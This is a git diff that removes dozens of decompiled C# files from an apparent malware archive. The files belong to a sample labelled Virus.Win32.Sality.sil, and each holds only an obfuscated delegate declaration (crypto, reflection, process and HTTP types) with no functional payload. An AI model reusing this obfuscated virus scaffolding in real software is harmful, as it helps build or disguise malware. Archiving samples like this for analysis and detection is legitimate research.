C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -internal delegate ICryptoTransform \u0013\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0003.cs deleted file mode 100644 index 67fdeddc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -internal delegate void \u0014\u0003([In] object obj0, [In] CipherMode obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0004.cs deleted file mode 100644 index 75d64904..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0014\u0004([In] object obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0005.cs deleted file mode 100644 index f8a8b102..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate PropertyInfo \u0014\u0005([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0003.cs deleted file mode 100644 index 65b8e727..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate ModuleHandle \u0015\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0004.cs deleted file mode 100644 index dda9f7fa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate string \u0015\u0004([In] Type obj0, [In] object obj1, [In] string obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0005.cs deleted file mode 100644 index 30a3781e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Collections; -using System.Runtime.InteropServices; - -internal delegate ICollection \u0015\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0003.cs deleted file mode 100644 index 2be4dc19..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0016\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0004.cs deleted file mode 100644 index 8f8edfab..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0004.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Delegate \u0016\u0004([In] Type obj0, [In] MethodInfo obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0005.cs deleted file mode 100644 index 5638ffac..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0005.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -internal delegate void \u0016\u0005(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0003.cs deleted file mode 100644 index 0efb9b1d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0017\u0003([In] object obj0, [In] OpCode obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0004.cs deleted file mode 100644 index 700f297f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate ProcessModule \u0017\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0005.cs deleted file mode 100644 index 00cb242a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Diagnostics; - -internal delegate Process \u0017\u0005(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0003.cs deleted file mode 100644 index 802071d8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u0018\u0003([In] Delegate obj0, [In] Delegate obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0004.cs deleted file mode 100644 index 1b4d2cc9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0018\u0004([In] object obj0, [In] PictureBoxSizeMode obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0005.cs deleted file mode 100644 index 77aa7224..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0018\u0005([In] bool obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0003.cs deleted file mode 100644 index 402da980..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0019\u0003([In] object obj0, [In] Control[] obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0004.cs deleted file mode 100644 index 179b5e1f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Web; - -internal delegate HttpResponse \u0019\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0005.cs deleted file mode 100644 index b8aff950..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0019\u0005([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0003.cs deleted file mode 100644 index 718ab16e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u001A\u0003([In] object obj0, [In] byte[] obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0004.cs deleted file mode 100644 index bc23e194..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Font \u001A\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0005.cs deleted file mode 100644 index 3abbb7f7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001A\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0003.cs deleted file mode 100644 index fd3a8ffc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate bool \u001B\u0003([In] Guid obj0, [In] Guid obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0004.cs deleted file mode 100644 index 034b0b49..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Exception \u001B\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0005.cs deleted file mode 100644 index 1681680b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u001B\u0005([In] double obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0003.cs deleted file mode 100644 index 5507dc09..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: 